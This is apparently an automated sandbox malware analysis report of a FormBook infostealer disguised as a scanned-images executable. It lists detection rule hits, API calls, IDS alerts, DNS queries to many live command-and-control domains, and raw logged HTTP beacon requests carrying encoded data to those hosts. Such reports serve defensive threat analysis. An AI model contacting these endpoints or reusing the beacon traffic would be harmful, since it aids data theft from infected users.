Windows Analysis Report
Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.2120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Joe Sandbox ML: detected

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: schtasks.pdb source: svchost.exe, 00000002.00000003.1592887920.0000000002649000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1592887920.000000000261A000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XraVxjqYYo.exe, 00000008.00000000.1545991574.000000000046E000.00000002.00000001.01000000.00000005.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3798030876.000000000046E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1333185722.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1334363237.0000000004120000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1625220837.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1530797185.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1625220837.0000000002E9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1532825670.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3810622511.000000000301E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1627214817.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3810622511.0000000002E80000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1625049218.0000000002B16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1333185722.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1334363237.0000000004120000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1625220837.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1530797185.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1625220837.0000000002E9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1532825670.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, schtasks.exe, 00000009.00000002.3810622511.000000000301E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1627214817.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3810622511.0000000002E80000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1625049218.0000000002B16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: schtasks.exe, 00000009.00000002.3811492832.00000000034AC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000009.00000002.3801096520.00000000028E4000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000000.1696350380.0000000002FDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1913594135.0000000023C5C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: schtasks.pdbGCTL source: svchost.exe, 00000002.00000003.1592887920.0000000002649000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1592887920.000000000261A000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: schtasks.exe, 00000009.00000002.3811492832.00000000034AC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000009.00000002.3801096520.00000000028E4000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000000.1696350380.0000000002FDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1913594135.0000000023C5C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A84696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00A84696
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00A8C9C7
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8C93C FindFirstFileW,FindClose,	0_2_00A8C93C
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A8F200
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A8F35D
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A8F65E
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A83A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A83A2B
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A83D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A83D4E
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A8BF27
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026CBAB0 FindFirstFileW,FindNextFileW,FindClose,	9_2_026CBAB0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then xor esi, esi	2_2_021382BA
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 4x nop then xor esi, esi	8_2_03231627
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4x nop then xor eax, eax	9_2_026B9720
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4x nop then xor esi, esi	9_2_026C4C57
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4x nop then mov ebx, 00000004h	9_2_02CB0548

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54134 -> 64.226.69.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54152 -> 116.213.43.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54115 -> 217.116.0.191:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54155 -> 116.213.43.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54151 -> 116.213.43.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54145 -> 35.241.42.217:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54112 -> 38.12.1.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54132 -> 64.226.69.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54127 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54116 -> 217.116.0.191:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54121 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54123 -> 109.95.158.127:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54124 -> 109.95.158.127:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54122 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54125 -> 109.95.158.127:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54144 -> 35.241.42.217:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54153 -> 116.213.43.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54117 -> 217.116.0.191:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54120 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54113 -> 38.12.1.29:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54110 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54128 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54147 -> 76.223.67.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54143 -> 35.241.42.217:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54139 -> 216.83.33.145:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54130 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54118 -> 217.116.0.191:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54126 -> 109.95.158.127:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54129 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54148 -> 76.223.67.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54141 -> 216.83.33.145:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54154 -> 116.213.43.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54131 -> 64.226.69.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54111 -> 38.12.1.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54149 -> 76.223.67.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54135 -> 203.161.55.102:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54114 -> 38.12.1.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54136 -> 203.161.55.102:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54156 -> 116.213.43.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54133 -> 64.226.69.42:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54138 -> 203.161.55.102:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54119 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54140 -> 216.83.33.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54137 -> 203.161.55.102:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54150 -> 76.223.67.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54146 -> 35.241.42.217:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:54157 -> 116.213.43.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54142 -> 216.83.33.145:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:54158 -> 116.213.43.190:80

Source: Joe Sandbox View	IP Address: 217.116.0.191 217.116.0.191
Source: Joe Sandbox View	IP Address: 76.223.67.189 76.223.67.189

Source: Joe Sandbox View	ASN Name: ACENS_ASSpainHostinghousingandVPNservicesES ACENS_ASSpainHostinghousingandVPNservicesES
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A925E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00A925E2

Source: global traffic	HTTP traffic detected: GET /toda/?dZo=obOL9JCgNxwS4++f28d79f/ijUfggy2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPePyq+6ekfY+odIcNiDDxjsozDdHvvMQ==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.stemfiniti.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /pjmu/?dZo=zh3d17Jww7lUdSTktMhNBhMmvkGT0/ltGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GOxg8UddFklL4THbJOpCVHjpswub4FA==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.zhuan-tou.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.lecoinsa.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /1nsp/?dZo=6szqGuj1zCBS7eEWPK4Hj+gRK/nLAiE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080e6UseLZVk0HIGeIsBEAgRXg1wr3NJQ==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.8xbe578.appAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8unq/?dZo=RkvL3PdT4df/OPkOf449nqUAFGXcSYeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6m5z8EhJuaQ15Cv8EbgH9K+rgnKqPuIQ==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.synergon.spaceAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /7ie4/?dZo=dUG4+DDdp/sjDloUpc1Pa9oz3rcpcCK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLlnR8W+DQIbNoQ2kneVhnOJg05D70cg==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.alanbeanart.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /rdfm/?dZo=wrkGspiQ383g8BvTCApReourbo49wGJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvPUBNIOaE5m9808ARfJeYmxykw2Zy3w==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.kacotae.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /irn0/?dZo=rkk12BbGqxBZ8yyWFarCeZT80GKzND/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdyK4b8CTwfAsUn2lCVR5NZfuQrKb84WQ==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.slushcafe.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /mpex/?dZo=Zb/vXsPYNAfjWKU6DONX2DmivYpazk1zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3VTZ4C1VoYJ2+BjO5oufoKkfdfMAaow==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.a9jcpf.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /zjwj/?dZo=nHLCZn8vN2ArVDTu2n5oID6vRNbj9hrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZXyXWPQEhmyBEuX+CqEarOAabuvO7hw==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.tqfabxah.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /l2ei/?dZo=2NxpSnefRSOpgA+Cw+nYyIA+NZzll6fiLmMZXjpfeHguawaVYOMhehQzwyXJSn5dNV3paxCkLfqDWT9yLxINn5BMEGgIAwhvnt05vUIz6811FQIGXw==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.rtrpodcast.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /jda9/?dZo=34snQIO0a+qzYlkumKI+eaAwv3nNcrL7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZNMDgqEYgAwPZ0d7uU4aGTG2kjdzpwg==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.mqmsqkw.lolAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /yxos/?dZo=GsI4mtIQVr1bqd+WnFq+jxjWo9OGL2g8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR3g5VMmjRWjtblZDXQIQIDqIzGBnVicw==&gta=rzqXf4A02FEl_8 HTTP/1.1Host: www.lfghtko.lolAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31

Source: global traffic	DNS traffic detected: DNS query: 56.126.166.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.stemfiniti.com
Source: global traffic	DNS traffic detected: DNS query: www.zhuan-tou.com
Source: global traffic	DNS traffic detected: DNS query: www.lecoinsa.net
Source: global traffic	DNS traffic detected: DNS query: www.8xbe578.app
Source: global traffic	DNS traffic detected: DNS query: www.synergon.space
Source: global traffic	DNS traffic detected: DNS query: www.alanbeanart.com
Source: global traffic	DNS traffic detected: DNS query: www.kacotae.com
Source: global traffic	DNS traffic detected: DNS query: www.slushcafe.top
Source: global traffic	DNS traffic detected: DNS query: www.a9jcpf.top
Source: global traffic	DNS traffic detected: DNS query: www.tqfabxah.com
Source: global traffic	DNS traffic detected: DNS query: www.rtrpodcast.online
Source: global traffic	DNS traffic detected: DNS query: www.winkthree.com
Source: global traffic	DNS traffic detected: DNS query: www.mqmsqkw.lol
Source: global traffic	DNS traffic detected: DNS query: www.lfghtko.lol

Source: unknown

HTTP traffic detected: POST /pjmu/ HTTP/1.1Host: www.zhuan-tou.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enOrigin: http://www.zhuan-tou.comReferer: http://www.zhuan-tou.com/pjmu/Content-Length: 192Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31Data Raw: 64 5a 6f 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 54 72 59 7a 4e 41 32 41 32 31 33 7a 6b 79 64 76 4b 35 73 43 77 5a 4a 65 52 53 6c 66 48 38 59 4b 59 61 48 45 4a 33 39 55 47 4c 31 6a 59 68 30 4e 32 4e 48 42 38 52 5a 77 74 68 2f 4f 73 4b 44 7a 50 4c 71 78 30 72 45 5a 68 38 4e 55 75 39 46 68 6c 66 4b 56 47 36 61 4d 35 79 38 43 67 6c 47 31 39 2f 7a 47 69 4b 6d 41 6c 52 38 57 56 67 2f 2f 42 6f 39 47 37 58 4b 56 6e 4d 59 4b 56 56 56 62 5a 2b 34 34 31 58 72 48 7a 4a 